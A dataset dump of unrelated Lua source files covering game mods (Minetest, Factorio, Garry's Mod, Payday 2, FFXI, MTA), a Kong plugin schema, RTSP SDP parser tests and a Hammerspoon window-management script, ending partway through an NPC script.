content
stringlengths 5
1.05M
|
|---|
local Groups = assert(foundation.com.Groups)
local RollingRegistry = foundation.com.Class:extends("RollingRegistry")
local ic = RollingRegistry.instance_class
function ic:initialize()
ic._super.initialize(self)
end
function ic:find_roller_recipe(item_stack)
local itemdef = item_stack:get_definition()
if Groups.has_group(itemdef, "ingot") then
-- ingot recipe
if item_stack:get_count() >= 2 then
local result = ItemStack({
name = "yatm_core:plate_" .. assert(itemdef.material_name),
count = 1,
})
assert(result:is_known())
return {
required_count = 2,
duration = 0.25, -- 1/4 second to form a plate
result = result,
}
end
end
return nil, "no matching recipe"
end
yatm_machines.RollingRegistry = RollingRegistry
|
local typedefs = require "kong.db.schema.typedefs"
return {
name = "kong-auth-signature",
fields = {
{ run_on = typedefs.run_on_first },
{ protocols = typedefs.protocols_http },
{ config = {
type = "record",
fields = {
{header_key = {
type = "string"
}},
{body_key = {
type = "string"
}},
{api_key_1 = {
type = "string"
}},
{secret_key_1 = {
type = "string"
}},
{api_key_2 = {
type = "string"
}},
{secret_key_2 = {
type = "string"
}},
{api_key_3 = {
type = "string"
}},
{secret_key_3 = {
type = "string"
}},
{api_key_4 = {
type = "string"
}},
{secret_key_4 = {
type = "string"
}},
{api_key_5 = {
type = "string"
}},
{secret_key_5 = {
type = "string"
}},
{
secret_signature={
type = "string"
}
}
}
} }
}
}
|
if onServer() then
Player():addScriptOnce("buffs.lua")
end
|
if data.raw['map-gen-presets'].default then
local map_settings = data.raw['map-gen-presets'].default
-- Rail World
if map_settings['rail-world'] then
for _, resource in pairs(data.raw.resource) do
if not map_settings['rail-world'].basic_settings.autoplace_controls[resource.name] then
map_settings['rail-world'].basic_settings.autoplace_controls[resource.name] = {}
end
map_settings['rail-world'].basic_settings.autoplace_controls[resource.name].frequency = 0.33333333332999997
map_settings['rail-world'].basic_settings.autoplace_controls[resource.name].size = 3
end
end
-- Rich Resources
if map_settings['rich-resources'] then
for _, resource in pairs(data.raw.resource) do
if not map_settings['rich-resources'].basic_settings.autoplace_controls[resource.name] then
map_settings['rich-resources'].basic_settings.autoplace_controls[resource.name] = {}
end
map_settings['rich-resources'].basic_settings.autoplace_controls[resource.name].richness = 'very-good'
end
end
data:extend({map_settings})
end
|
surface.CreateFont("Arial16Bold", {
font = "Arial",
size = 16,
weight = 700,
blursize = 0,
scanlines = 0,
antialias = true,
underline = false,
italic = false,
strikeout = false,
symbol = false,
rotary = false,
shadow = false,
additive = false,
outline = false,
})
local PANEL = {}
AccessorFunc(PANEL, "draggable", "Draggable")
AccessorFunc(PANEL, "sizable", "Sizable")
AccessorFunc(PANEL, "minWidth", "MinWidth")
AccessorFunc(PANEL, "minHeight", "MinHeight")
AccessorFunc(PANEL, "removeOnClose", "RemoveOnClose")
local matIconRemove = Material("icons/remove16.png")
function PANEL:Init()
self:SetDraggable(true)
self:SetSizable(false)
self:SetMinWidth(100)
self:SetMinHeight(8+16+8)
local pnlTitleBar = vgui.Create("Panel", self)
pnlTitleBar:SetTall(16)
pnlTitleBar.OnMousePressed = function(_, ...) self:OnMousePressed(...) end
pnlTitleBar:SetCursor("sizeall")
self.pnlTitleBar = pnlTitleBar
local pnlClose = vgui.Create("MPNiceButton", pnlTitleBar)
pnlClose:SetSize(16, 16)
pnlClose:Dock(RIGHT)
pnlClose:DockMargin(8, 0, 0, 0)
pnlClose:SetMaterial(matIconRemove)
pnlClose:SetMouseInputEnabled(true)
pnlClose.DoClick = function(_, ...) self:Close() end
self.pnlClose = pnlClose
local pnlTitle = vgui.Create("DLabel", pnlTitleBar)
pnlTitle:SetText("No title")
pnlTitle:SetFont("Arial16Bold")
pnlTitle:Dock(FILL)
self.pnlTitle = pnlTitle
self:DockPadding(8, 8+16+8, 8, 8)
end
function PANEL:Close()
if self:GetRemoveOnClose() then
self:Remove()
else
self:SetVisible(false)
end
end
function PANEL:SetTitle(title)
self.pnlTitle:SetText(title)
end
function PANEL:Paint(w, h)
local desired = 100
if self.mouseInside then
desired = 255
end
self.alpha = math.Approach(self.alpha or desired, desired, FrameTime()*1200)
self:SetAlpha(self.alpha)
draw.RoundedBox(8, 0, 0, w, h, Color(0, 0, 0, 210))
end
function PANEL:IsActionDrag(x, y)
return (y < 8 + 16 + 8) and self.draggable
end
function PANEL:Think()
local x, y = self:CursorPos()
self.mouseInside = x > 0 and y > 0 and x < self:GetWide() and y < self:GetTall()
if self:IsActionDrag(x, y) then
self:SetCursor("sizeall")
else
self.action = nil
self:SetCursor("arrow")
end
end
function PANEL:OnMousePressed(btn)
if btn ~= MOUSE_LEFT then return end
local x, y = self:CursorPos()
if self:IsActionDrag(x, y) then
self.dragOffset = Vector(x, y)
self:MouseCapture(true)
end
end
function PANEL:OnMouseReleased(btn)
if btn ~= MOUSE_LEFT then return end
self.dragOffset = false
self:MouseCapture(false)
end
function PANEL:OnCursorMoved(x, y)
if self.dragOffset then
local curX, curY = self:GetPos()
self:SetPos(curX + (x - self.dragOffset.x),
curY + (y - self.dragOffset.y))
end
end
function PANEL:PerformLayout()
self.pnlTitleBar:SetPos(8, 8)
self.pnlTitleBar:SetSize(self:GetWide()-8*2, 16)
end
vgui.Register("MPFadeFrame", PANEL, "DPanel")
|
if not GameSetup and Holo:ShouldModify("Menu", "ColoredBackground") then
if Holo:ShouldModify("Menu", "PlayerProfile") then
Holo:Post(MenuSceneManager, "_set_up_templates", function(self)
self._scene_templates.standard.character_pos = Vector3(-32, 10.66, -137)
end)
end
function MenuSceneManager:HoloUpdate()
local cam = managers.viewport:get_current_camera()
if type(cam) == "boolean" then
return
end
local w,h = 1920, 1080
local a,b,c = cam:position() + Vector3(-1, 584, -h/2+1):rotate_with(cam:rotation()), Vector3(0, w, 0):rotate_with(cam:rotation()) , Vector3(0, 0, h):rotate_with(cam:rotation())
if alive(self._background_ws) then
self._background_ws:set_world(w,h,a,b,c)
self._background_ws:panel():child("bg"):set_color(Holo:GetColor("Colors/Menu"))
if self._shaker then
self._shaker:stop_all()
end
if not Holo.Options:GetValue("MenuColorGrading") then
managers.environment_controller:set_default_color_grading("color_off", true)
managers.environment_controller:refresh_render_settings()
end
else
self._background_ws = World:newgui():create_world_workspace(w,h,a,b,c)
self._background_ws:panel():bitmap({
name = "bg",
color = Holo:GetColor("Colors/Menu"),
layer = 20000,
w = w,
h = h,
})
self._background_ws:set_billboard(Workspace.BILLBOARD_BOTH)
end
World:effect_manager():set_rendering_enabled(Global.load_level)
if managers.environment_controller._vp then
managers.environment_controller._vp:vp():set_post_processor_effect("World", Idstring("bloom_combine_post_processor"), Idstring("bloom_combine_empty"))
end
local unwanted = {
"units/menu/menu_scene/menu_cylinder",
"units/menu/menu_scene/menu_smokecylinder1",
"units/menu/menu_scene/menu_smokecylinder2",
"units/menu/menu_scene/menu_smokecylinder3",
"units/menu/menu_scene/menu_cylinder_pattern",
"units/menu/menu_scene/menu_cylinder_pattern",
"units/menu/menu_scene/menu_logo",
"units/pd2_dlc_shiny/menu_showcase/menu_showcase",
"units/payday2_cash/safe_room/cash_int_safehouse_saferoom"
}
for _, unit in pairs(World:find_units_quick("all")) do
for _, unit_name in pairs(unwanted) do
if unit:name() == unit_name:id() then
unit:set_visible(false)
end
end
end
end
Hooks:PostHook(MenuSceneManager, "update", "MenuBGsUpdate", function(self)
if not MenuBackgrounds then
self:HoloUpdate()
end
end)
end
|
-----------------------------------------
-- ID: 4722
-- Scroll of Enfire II
-- Teaches the white magic Enfire II
-----------------------------------------
function onItemCheck(target)
return target:canLearnSpell(312)
end
function onItemUse(target)
target:addSpell(312)
end
|
local utils = require('util')
local assert = require('assert')
local tap = require('util/tap')
local sdp = require('rtsp/sdp')
describe("test sdp decode 1", function()
local sdpString = [[v=0
o=- 1453271342214497 1 IN IP4 10.10.42.66
s=MPEG Transport Stream, streamed by the LIVE555 Media Server
i=hd.ts
t=0 0
a=tool:LIVE555 Streaming Media v2015.07.31
a=type:broadcast
a=control:*
a=range:npt=0-
a=x-qt-text-nam:MPEG Transport Stream, streamed by the LIVE555 Media Server
a=x-qt-text-inf:hd.ts
m=video 0 RTP/AVP 33
c=IN IP4 0.0.0.0
b=AS:5000
a=control:track1
]]
local session = sdp.decode(sdpString)
-- version & time
assert.equal(session.v, '0')
assert.equal(session.t, '0 0')
-- attributes
local attributes = session.attributes
assert.equal(attributes["control"], '*')
assert.equal(attributes["range"], 'npt=0-')
-- media tracks
local medias = session.medias
assert.equal(#medias, 1)
-- video track
local media = medias[1]
assert.equal(media.type , 'video')
assert.equal(media.payload, 33)
assert.equal(media.port , 0)
assert.equal(media.mode, 'RTP/AVP')
-- video track attributes
attributes = media.attributes
assert.equal(attributes["control"], 'track1')
console.log(media)
end)
describe("test sdp decode 2", function()
local sdpString = [[
v=0
o=- 535676825 535676825 IN IP4 184.72.239.149
s=BigBuckBunny_115k.mov
c=IN IP4 184.72.239.149
t=0 0
a=sdplang:en
a=range:npt=0- 596.48
a=control:*
m=audio 0 RTP/AVP 96
a=rtpmap:96 mpeg4-generic/12000/2
a=fmtp:96 profile-level-id=1;mode=AAC-hbr;sizelength=13;indexlength=3;indexdeltalength=3;config=1490
a=control:trackID=1
m=video 0 RTP/AVP 97
a=rtpmap:97 H264/90000
a=fmtp:97 packetization-mode=1;profile-level-id=42C01E; sprop-parameter-sets= Z0LAHtkDxWhAAAADAEAAAAwDxYuS,aMuMsg==
a=cliprect:0,0,160,240
a=framesize:97 240-160
a=framerate:24.0
a=control:trackID=2
]]
local session = sdp.decode(sdpString)
-- version & time
assert.equal(session.v, '0')
assert.equal(session.t, '0 0')
-- attributes
local attributes = session.attributes
assert.equal(attributes["control"], '*')
assert.equal(attributes["range"], 'npt=0- 596.48')
-- media tracks
local medias = session.medias
assert.equal(#medias, 2)
-- audio track
local audio = session:getMedia('audio')
local audioRtpMap = audio:getRtpmap(96)
console.log(audioRtpMap)
assert.equal(audioRtpMap.payload, 96)
assert.equal(audioRtpMap.codec, 'mpeg4-generic')
assert.equal(audioRtpMap.frequency, 12000)
local audioFmtp = audio:getFmtp(96)
console.log(audioFmtp)
assert.equal(audioFmtp['mode'], 'AAC-hbr')
assert.equal(audioFmtp['profile-level-id'], '1')
assert.equal(audio:getAttribute('control', 'trackID'), '1')
-- video track
local video = session:getMedia('video')
assert.equal(video:getAttribute('cliprect'), '0,0,160,240')
local videoFmtp = video:getFmtp(97)
assert.equal(videoFmtp['packetization-mode'], '1')
assert.equal(videoFmtp['profile-level-id'], '42C01E')
-- parameter-sets
local value = videoFmtp['sprop-parameter-sets']
local tokens = value:split(',')
local sqs = utils.base64Decode(tokens[1])
local pps = utils.base64Decode(tokens[2])
assert.equal(utils.hexEncode(sqs), '6742c01ed903c56840000003004000000c03c58b92')
assert.equal(utils.hexEncode(pps), '68cb8cb2')
-- rtpmap
local videoRtpMap = video:getRtpmap(97)
assert.equal(videoRtpMap.payload, 97)
assert.equal(videoRtpMap.codec, 'H264')
assert.equal(videoRtpMap.frequency, 90000)
console.log('rtpmap', videoRtpMap)
-- frame rate
assert.equal(video:getFramerate(), 24)
-- frame size
local frameSize = video:getFramesize()
assert.equal(frameSize.width, 240)
assert.equal(frameSize.height, 160)
assert.equal(video:getAttribute('control', 'trackID'), '2')
end)
|
---@meta
---@class ccs.BaseData :cc.Ref
local BaseData={ }
ccs.BaseData=BaseData
---*
---@return color4b_table
function BaseData:getColor () end
---*
---@param color color4b_table
---@return self
function BaseData:setColor (color) end
---*
---@return self
function BaseData:create () end
---* js ctor
---@return self
function BaseData:BaseData () end
|
local Settings = {}
function Settings.new(object, base)
local inst = {
_object = object;
_base = base;
}
return setmetatable(inst, Settings)
end
function Settings:__index(key)
local result = self._object:GetAttribute(key)
local base = self._base
if base ~= nil then
base = base[key]
if typeof(result) ~= typeof(base) then
result = base
end
end
return result
end
function Settings:__newindex(key, value)
self._object:SetAttribute(key, value)
end
return Settings
|
--[[
Window management.
Includes window switching, movement and resizing.
Usage:
The window management key (shift+control+escape by default) activates window management.
A red box will be drawn arond the selected window, which starts off as the focus window.
This box can be moved to other windows, by default with cursor keys or Vi-style navigation (h, j, k, l).
Hitting the focus key (enter by default) focuses the selected window and exits window management mode.
Hitting the window management key again exits window management mode without changing anything.
Exiting can also be achieved with the exit key (escape by default).
All other keys will be handled as normal; window management mode is not modal.
Hitting space switches modes.
The initial mode is window focusing, the second mode is the grid mode.
In grid mode, a grid will be drawn on the screen.
The currently selected grid cell will be displayed in blue.
The selection can be moved (cursor keys or Vi-style navigation by default).
Hitting the "accept" key (enter by default) resizes and moves the focused window to the dimension of and exits window
management.
Enlarging or shrinking the grid resolution is done with cursor-like navigation (s, d, f, g by default).
--]]
--
-- Configuration
--
keymap = {
acceptSelection = { key = "Return"},
changeMode = {key = "Space"},
exit = {key = "escape"},
selectionEast = {multi = {{key = "Right"}, {key = "l"}}},
selectionSouth = {multi = {{key = "Down"}, {key = "j"}}},
selectionNorth = {multi = {{key = "Up"}, {key = "k"}}},
selectionWest = {multi = {{key = "Left"}, {key = "h"}}},
sizeEnlargeX = {key = "g"},
sizeEnlargeY = {key = "f"},
sizeShrinkX = {key = "s"},
sizeShrinkY = {key = "d"},
windowManagement = {mods = {"shift", "control"}, key = "escape"},
}
colors = {
focus = {red = 1, green = 0.5, blue = 0.5},
gridActive = {red = 0.75, green = 0.75, blue = 1},
gridInactive = {red = 0.35, green = 0.35, blue = 0.35},
}
dimensions = {
defaultGridHeight = 2,
defaultGridWidth = 3,
focusedWindowBorderWidth = 5,
gridBorderWidth = 3,
}
levels = {
focusedWindow = hs.drawing.windowLevels.assistiveTechHigh+1,
gridActive = hs.drawing.windowLevels.assistiveTechHigh+3,
gridInactive = hs.drawing.windowLevels.assistiveTechHigh+2,
}
--
-- Module state variables
--
stateKeybindings = {
grid = {
{key = keymap.acceptSelection, func = function() gridAccept() end},
{key = keymap.changeMode, func = function() exitGridState(); enterWindowManagementState(true) end},
{key = keymap.exit, func = function() exitGridState() end},
{key = keymap.selectionEast, func = function() gridMoveEast() end},
{key = keymap.selectionNorth, func = function() gridMoveNorth() end},
{key = keymap.selectionSouth, func = function() gridMoveSouth() end},
{key = keymap.selectionWest, func = function() gridMoveWest() end},
{key = keymap.sizeEnlargeX, func = function() gridEnlargeX() end},
{key = keymap.sizeEnlargeY, func = function() gridEnlargeY() end},
{key = keymap.sizeShrinkX, func = function() gridShrinkX() end},
{key = keymap.sizeShrinkY, func = function() gridShrinkY() end},
},
windowManagement = {
{key = keymap.acceptSelection, func = function() focusSelection() end},
{key = keymap.changeMode, func = function() exitWindowManagementState(); enterGridState() end},
{key = keymap.exit, func = function() exitWindowManagementState() end},
{key = keymap.selectionEast, func = function() moveSelectionEast() end},
{key = keymap.selectionNorth, func = function() moveSelectionNorth() end},
{key = keymap.selectionSouth, func = function() moveSelectionSouth() end},
{key = keymap.selectionWest, func = function() moveSelectionWest() end},
}
}
selections = {
grid = {
height = dimensions.defaultGridHeight, width = dimensions.defaultGridWidth,
selectionX = 0, selectionY = 0,
screen = nil, rects = nil,
},
focusedWindow = {rectDrawing = nil, color = colors.focus, window = nil}
}
--
-- UI state management
--
function enterWindowManagementState(preserveFocus)
local focusedWindow = getDefaultFocusedWindow(preserveFocus)
if focusedWindow then
bindKey(keymap.windowManagement, exitWindowManagementState)
bindKeys(stateKeybindings.windowManagement)
selectWindow(selections.focusedWindow, focusedWindow)
end
end
function exitWindowManagementState()
bindKey(keymap.windowManagement, enterWindowManagementState)
unbindKeys(stateKeybindings.windowManagement)
removeAllHighlights()
end
function enterGridState()
bindKey(keymap.windowManagement, exitGridState)
bindKeys(stateKeybindings.grid)
selectWindow(selections.focusedWindow, selections.focusedWindow.window)
selections.grid.screen = selections.focusedWindow.window:screen()
createGrid()
end
function exitGridState()
bindKey(keymap.windowManagement, enterWindowManagementState)
unbindKeys(stateKeybindings.grid)
removeAllHighlights()
end
--
-- Window selection
--
function moveSelectionEast() moveSelectionInDirection(selectWindowsToEast) end
function moveSelectionNorth() moveSelectionInDirection(selectWindowsToNorth) end
function moveSelectionSouth() moveSelectionInDirection(selectWindowsToSouth) end
function moveSelectionWest() moveSelectionInDirection(selectWindowsToWest) end
function focusSelection()
if selections.focusedWindow.window then
selections.focusedWindow.window:focus()
exitWindowManagementState()
end
end
function moveSelectionInDirection(selectInDirection)
if selections.focusedWindow.window then
for _, candidate in ipairs(selectInDirection(selections.focusedWindow.window)) do
if candidate:isVisible() then
selectWindow(selections.focusedWindow, candidate)
return
end
end
end
end
function selectWindowsToEast(window) return window:windowsToEast() end
function selectWindowsToNorth(window) return window:windowsToNorth() end
function selectWindowsToSouth(window) return window:windowsToSouth() end
function selectWindowsToWest(window) return window:windowsToWest() end
--
-- Grid selection
--
function gridAccept()
selections.focusedWindow.window:setFrame(selections.grid.rects[selections.grid.selectionX][selections.grid.selectionY].rectDrawing:frame())
exitGridState()
end
function gridMoveEast() gridMove(1, 0) end
function gridMoveNorth() gridMove(0, -1) end
function gridMoveSouth() gridMove(0, 1) end
function gridMoveWest() gridMove(-1, 0) end
function gridMove(dx, dy)
local newX, newY = selections.grid.selectionX + dx, selections.grid.selectionY + dy
if newX>=0 and newX<selections.grid.width and newY>=0 and newY<selections.grid.height then
removeGridHighlight()
selections.grid.selectionX, selections.grid.selectionY = newX, newY
addGridHighlight()
end
end
function gridEnlargeX() gridResize(1, 0) end
function gridEnlargeY() gridResize(0, 1) end
function gridShrinkX() gridResize(-1, 0) end
function gridShrinkY() gridResize(0, -1) end
function gridResize(dw, dh)
local newWidth, newHeight = selections.grid.width + dw, selections.grid.height + dh
if newWidth>0 and newHeight>0 then
removeGrid()
selections.grid.width, selections.grid.height = newWidth, newHeight
if newWidth<=selections.grid.selectionX then selections.grid.selectionX=selections.grid.width-1 end
if newHeight<=selections.grid.selectionY then selections.grid.selectionY=selections.grid.height-1 end
createGrid()
end
end
--
-- Visual feedback
--
function selectWindow(selection, window)
removeHighlight(selection)
selection.window = window
if window then
local rect = hs.drawing.rectangle(window:frame())
rect:setFill(false)
rect:setStroke(true)
rect:setStrokeColor(selection.color)
rect:setStrokeWidth(dimensions.focusedWindowBorderWidth)
rect:setLevel(levels.focusedWindow)
selection.rectDrawing = rect
rect:show()
end
end
function removeAllHighlights()
removeGrid()
removeHighlight(selections.focusedWindow)
end
function removeHighlight(highlight)
local rectDrawing = highlight.rectDrawing
if rectDrawing then
rectDrawing:hide()
highlight.rectDrawing = nil
end
end
function createGrid()
if not selections.grid.screen then selections.grid.screen = selections.focusedWindow.window:screen() end
local screen = selections.grid.screen
if screen then
local screenX1, screenY1 = screen:frame().x1, screen:frame().y1
local screenWidth, screenHeight = screen:frame().w, screen:frame().h
selections.grid.rects = {}
for x = 0, selections.grid.width-1 do
local row = {}
selections.grid.rects[x] = row
for y = 0, selections.grid.height-1 do
local cell = {}
row[y] = cell
local rectX1, rectY1 = screenX1 + math.floor(screenWidth*x/selections.grid.width), screenY1 + math.floor(screenHeight*y/selections.grid.height)
local rectX2, rectY2 = screenX1 + math.floor(screenWidth*(x+1)/selections.grid.width), screenY1 + math.floor(screenHeight*(y+1)/selections.grid.height)
local rect = hs.drawing.rectangle(hs.geometry.rect(rectX1, rectY1, rectX2-rectX1+1, rectY2-rectY1+1))
rect:setFill(false)
rect:setStroke(true)
rect:setStrokeWidth(dimensions.gridBorderWidth)
rect:setStrokeColor(colors.gridInactive)
rect:setLevel(levels.gridInactive)
cell.rectDrawing = rect
rect:show()
end
end
end
addGridHighlight()
end
function removeGrid()
if selections.grid.rects then
for x = 0, selections.grid.width-1 do for y = 0, selections.grid.height-1 do
local cell = selections.grid.rects[x][y]
if cell then removeHighlight(cell) end
end end
selections.grid.rects = nil
end
end
function addGridHighlight() setGridCellActive(selections.grid.selectionX, selections.grid.selectionY, true) end
function removeGridHighlight() setGridCellActive(selections.grid.selectionX, selections.grid.selectionY, false) end
function setGridCellActive(x, y, active)
if selections.grid.rects then
local cell = selections.grid.rects[x]
if cell then cell = cell[y] end
if cell and cell.rectDrawing then
if active then
cell.rectDrawing:setStrokeColor(colors.gridActive)
cell.rectDrawing:setLevel(levels.gridActive)
else
cell.rectDrawing:setStrokeColor(colors.gridInactive)
cell.rectDrawing:setLevel(levels.gridInactive)
end
end
end
end
--
-- Key bindings
--
function bindKey(keymapElement, func)
if keymapElement.multi then
for _, innerElement in ipairs(keymapElement.multi) do bindKey(innerElement, func) end
else
unbindKey(keymapElement)
keymapElement.hotkey = hs.hotkey.bind(keymapElement.mods, keymapElement.key, func)
end
end
function unbindKey(keymapElement)
if keymapElement.multi then
for _, innerElement in ipairs(keymapElement.multi) do unbindKey(innerElement) end
else
if keymapElement.hotkey then
keymapElement.hotkey:delete()
keymapElement.hotkey = nil
end
end
end
function bindKeys(bindings) for _, binding in ipairs(bindings) do bindKey(binding.key, binding.func) end end
function unbindKeys(bindings) for _, binding in ipairs(bindings) do unbindKey(binding.key) end end
--
-- Window actions
--
function getDefaultFocusedWindow(preserveFocus)
local focusedWindow
if preserveFocus then focusedWindow = selections.focusedWindow.window end
if not focusedWindow then focusedWindow = hs.window.focusedWindow() end
if not focusedWindow then focusedWindow = hs.window.frontmostWindow() end
return focusedWindow
end
--
-- Module initializer
--
bindKey(keymap.windowManagement, enterWindowManagementState)
|
local defaultSettings = {
{ "notes", "Este é seu bloco de notas." },
{ "usersettings_usecustomradio", "true" },
{ "usersettings_usecustomhud", "false" },
{ "usersettings_usecustomvehiclenames", "true" },
{ "usersettings_showspeedgraph", "false" },
{ "usersettings_showspeedmeter", "false" },
{ "usersettings_usetopbar", "true" },
{ "usersetting_display_createfuelblips", "true" },
{ "usersetting_display_createpnsblips", "true" },
{ "usersetting_display_createammunationblips", "true" },
{ "usersetting_notification_joinquitmessages", "true" },
{ "usersetting_shader_bloom", "false" },
{ "usersetting_shader_skybox", "false" },
{ "usersetting_shader_water", "false" },
{ "usersetting_shader_wetroad", "false" },
{ "usersetting_shader_contrast", "false" },
{ "usersetting_shader_vehiclereflections", "false" },
{ "usersetting_notification_nickchangemessages", "true" },
{ "usersettings_showmoneylogs", "false" },
{ "usersetting_shader_roadshine", "false" },
{ "usersetting_shader_detail", "false" },
{ "usersetting_display_clubblips", "true" },
{ "usersetting_display_skinshopblips", "true" },
{ "usersetting_display_hospitalblips", "true" },
{ "usersetting_display_vehicleshopblips", "true" },
{ "user_waypoints", toJSON ( { } ) },
{ "usersetting_misc_playsoundonguiclick", "true" },
{ "usersettings_display_clouds", "false" },
{ "usersetting_display_usershopblips", "true" },
{ "usersetting_display_vipchat", "true" },
{ "usersettings_display_clienttoserverstats", "true"},
{ "usersettings_display_lowfpswarning", "true" },
{ "usersetting_display_gymblips", "true" }
}
function doesSettingExist ( name )
local e = false
for i, v in pairs ( defaultSettings ) do
if ( tostring ( v [ 1 ] ):lower ( ) == tostring ( name ):lower ( ) ) then
e = v [ 2 ]
break
end
end
return e
end
function createClientSettingsFile ( doReturn, replace )
if ( fileExists ( "@xml/configu.xml" ) ) then
if ( replace ) then
fileDelete ( "@xml/configu.xml" )
else
if ( doreturn ) then
return xmlLoadFile ( "@xml/configu.xml" )
else
return nil
end
end
end
local file = xmlCreateFile ( "@xml/configu.xml", "settings" )
for i, v in ipairs ( defaultSettings ) do
local child = xmlCreateChild ( file, tostring ( v [ 1 ] ) )
xmlNodeSetAttribute ( child, "value", tostring ( v [ 2 ] ) )
end
xmlSaveFile ( file )
if ( doReturn ) then
return file
else
xmlUnloadFile ( file )
return true
end
end
if ( not fileExists ( "@xml/configu.xml" ) ) then
createClientSettingsFile ( false, false )
end
function getSetting ( name )
local file = xmlLoadFile ( "@xml/configu.xml" ) or createClientSettingsFile ( true, false )
local rV = false
local name = string.lower ( tostring ( name ) )
for i, v in ipairs ( xmlNodeGetChildren ( file ) ) do
if ( tostring ( xmlNodeGetName ( v ) ):lower() == name ) then
rV = tostring ( xmlNodeGetAttribute ( v, "value" ) )
break
end
end
if rV == false then
for i, v in pairs ( defaultSettings ) do
if ( tostring ( v [ 1 ] ):lower ( ) == tostring ( name ):lower ( ) ) then
local c = xmlCreateChild ( file, name )
xmlNodeSetAttribute ( c, "value", v [ 2 ] )
xmlSaveFile ( file )
rV = v [ 2 ]
end
end
end
local rV = tostring ( rV );
if ( rV:lower ( ) == "true" ) then
rV = true
elseif ( rV:lower( ) == "false" ) then
rV = false
end
xmlUnloadFile ( file )
return rV
end
function updateSetting ( name, value )
local file = xmlLoadFile ( "@xml/configu.xml" ) or createClientSettingsFile ( true, false )
local done = false
local children = xmlNodeGetChildren ( file )
local name = tostring ( name ):lower ( )
local oldValue = getSetting ( name )
if not children then
xmlUnloadFile ( file )
fileDelete ( "@xml/configu.xml" )
file = createClientSettingsFile ( true, false )
children = xmlNodeGetChildren ( file )
end
local done = false
for i, v in ipairs ( children ) do
local nName = tostring ( xmlNodeGetName ( v ) )
if ( nName == tostring ( name ) ) then
--xmlDestroyNode ( v )
xmlNodeSetAttribute ( v, "value", value )
done = true
break
end
end
if not done then
local child = xmlCreateChild ( file, tostring ( name ) )
xmlNodeSetAttribute ( child, "value", tostring ( value ) )
end
local value = tostring ( value );
local oldValue = tostring ( oldValue );
if ( value:lower ( ) == "true" ) then
value = true
elseif ( value:lower ( ) == "false" ) then
value = false
end if ( oldValue:lower() == "true" ) then
oldValue=true
elseif ( oldValue:lower() == "false" ) then
oldValue = false
end
local setts = getElementData ( localPlayer, "userSettings" )
setts [ name ] = value
setElementData ( localPlayer, "userSettings", setts )
triggerEvent ( "onClientUserSettingChange", localPlayer, tostring ( name ), value, oldValue )
xmlSaveFile ( file )
xmlUnloadFile ( file )
end
addEvent ( "onClientUserSettingChange", true )
addEventHandler ( "onClientResourceStart", resourceRoot, function ( )
setCloudsEnabled ( getSetting ( 'usersettings_display_clouds' ) )
-- set default settings to data --
local settings = { }
for _, i in pairs ( defaultSettings ) do
local v = getSetting ( i [ 1 ] )
settings [ i [ 1 ] ] = v
triggerEvent ( "onClientUserSettingChange", localPlayer, i[1], v )
end
setElementData ( localPlayer, "userSettings", settings )
end )
addEventHandler ( "onClientUserSettingChange", root, function ( setting, value )
if ( setting == "usersettings_display_clouds" ) then
setCloudsEnabled ( value )
end
end )
|
data:extend(
{
{
type = "item",
name = "timer-combinator",
icon = "__UsefulCombinators__/graphics/icons/timer-combinator.png",
flags = { "goes-to-quickbar" },
subgroup = "circuit-network",
place_result="timer-combinator",
order = "b[combinators]-u[timer-combinator]",
stack_size= 10,
},
{
type = "item",
name = "counting-combinator",
icon = "__UsefulCombinators__/graphics/icons/counting-combinator.png",
flags = { "goes-to-quickbar" },
subgroup = "circuit-network",
place_result="counting-combinator",
order = "b[combinators]-u[counting-combinator]",
stack_size= 10,
},
{
type = "item",
name = "random-combinator",
icon = "__UsefulCombinators__/graphics/icons/random-combinator.png",
flags = { "goes-to-quickbar" },
subgroup = "circuit-network",
place_result="random-combinator",
order = "b[combinators]-u[random-combinator]",
stack_size= 10,
}--[[,
{
type = "item",
name = "logic-combinator",
icon = "__UsefulCombinators__/graphics/icons/logic-combinator.png",
flags = { "goes-to-quickbar" },
subgroup = "circuit-network",
place_result="logic-combinator",
order = "b[combinators]-u[logic-combinator]",
stack_size= 10,
}]],
{
type = "item",
name = "comparator-combinator",
icon = "__UsefulCombinators__/graphics/icons/comparator-combinator.png",
flags = { "goes-to-quickbar" },
subgroup = "circuit-network",
place_result="comparator-combinator",
order = "b[combinators]-u[comparator-combinator]",
stack_size= 10,
}
})
|
local BB = require("breadboard")
local log = require("log")
local Entity = BB.class()
function Entity:on(evtName, func)
local ls = self:_getListeners(evtName)
table.insert(ls, func)
end
function Entity:off(evtName, func)
local ls = self:_getListeners(evtName)
local a = {}
for i, l in ipairs(ls) do
if not func or l == func then
a[#a+1] = i
end
end
for i=#a, 1, -1 do
table.remove(ls, i)
end
end
function Entity:fire(evtName, ...)
local ls = self:_getListeners(evtName)
for i=1, #ls do
ls[i](...)
end
end
function Entity:_getListeners(evtName)
local ls = self._listeners
if not ls then
ls = {}
self._listeners = ls
end
l = ls[evtName]
if not l then
l = {}
ls[evtName] = l
end
return l
end
return Entity
|
-----------------------------------
-- Area: Ru'Lude Gardens
-- NPC: Audience Chamber
-- Involved in Mission: Magicite
-- !pos 0 -5 66 243
-----------------------------------
require("scripts/globals/keyitems");
require("scripts/globals/settings");
require("scripts/globals/titles");
require("scripts/globals/missions");
local ID = require("scripts/zones/RuLude_Gardens/IDs");
-----------------------------------
function onTrade(player,npc,trade)
end;
function onTrigger(player,npc)
CurrentMission = player:getCurrentMission(player:getNation());
if ( player:getCurrentMission(COP) ==tpz.mission.id.cop.MORE_QUESTIONS_THAN_ANSWERS and player:getCharVar("PromathiaStatus")==1) then
player:startEvent(10050);
elseif (player:hasKeyItem(tpz.ki.ARCHDUCAL_AUDIENCE_PERMIT) and CurrentMission == 255 and player:getCharVar("MissionStatus") == 1) then
player:startEvent(128);
elseif (player:hasKeyItem(tpz.ki.MAGICITE_OPTISTONE) and player:hasKeyItem(tpz.ki.MAGICITE_AURASTONE) and player:hasKeyItem(tpz.ki.MAGICITE_ORASTONE)) then
if (player:hasKeyItem(tpz.ki.AIRSHIP_PASS)) then
player:startEvent(60,1);
else
player:startEvent(60);
end
elseif (player:hasKeyItem(tpz.ki.ARCHDUCAL_AUDIENCE_PERMIT)) then
player:messageSpecial(ID.text.SOVEREIGN_WITHOUT_AN_APPOINTMENT);
else
player:startEvent(138); -- you don't have a permit
end
end;
function onEventUpdate(player,csid,option)
end;
function onEventFinish(player,csid,option)
if (csid == 128) then
player:setCharVar("MissionStatus",2);
player:addMission(player:getNation(),13);
player:addKeyItem(tpz.ki.LETTERS_TO_ALDO);
